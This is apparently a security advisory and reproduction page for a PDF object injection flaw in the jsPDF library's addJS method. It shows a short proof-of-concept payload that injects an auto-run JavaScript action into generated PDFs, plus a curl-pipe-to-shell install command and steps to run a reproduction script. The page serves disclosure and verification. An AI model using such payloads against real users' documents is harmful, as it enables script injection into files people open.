Human
Machine
REPRO-2026-00103 HIGH
Verified
jsPDF: PDF Object Injection via Unsanitized addJS Input
jspdf (npm) Feb 19, 2026
What's the vulnerability?
User control of the argument of the addJS method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.
import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";
doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");
Root Cause Analysis
One Command
Verify with pruva-verify
Run the Pruva CLI to automatically fetch and execute the reproduction script.
pruva-verify REPRO-2026-00103 or
pruva-verify GHSA-9vjf-qc39-jprp or
pruva-verify CVE-2026-25755 Install:
curl -fsSL https://pruva.dev/install.sh | sh Or Run Manually
1
Download the script
curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00103/artifacts/repro/reproduction_steps.sh 2
Make executable
chmod +x reproduction_steps.sh 3
Run the script
./reproduction_steps.sh Run in a VM, container, or disposable environment. This exploits a real vulnerability.
How Pruva Reproduced This
Watch the AI agent's step-by-step process.
Loading session...
Artifacts
repro/rca_report.md5.9 KBrepro/reproduction_steps.sh2.9 KBbundle/ticket.md2.1 KBbundle/source.json4.2 KBbundle/ticket.json7.0 KBlogs/npm_init_vuln.log0.3 KBlogs/reproduce.log0.5 KBlogs/test3_backslash.log0.1 KBlogs/test2_original_fixed.log0.1 KBlogs/test_alternative.log0.1 KBlogs/test_original_vuln.log0.0 KBlogs/test1_original_vuln.log0.2 KBlogs/test6_unicode.log0.1 KBlogs/test4_link.log0.2 KBlogs/npm_init_fixed.log0.3 KBlogs/npm_install_vuln.log0.2 KBlogs/test_original_fixed.log0.0 KBlogs/test5_alt_patterns.log0.0 KBlogs/test_link_vuln.log3.5 KBlogs/test_backslash.log0.1 KBlogs/npm_init.log0.3 KBlogs/npm_install.log0.2 KBlogs/npm_install_fixed.log0.1 KB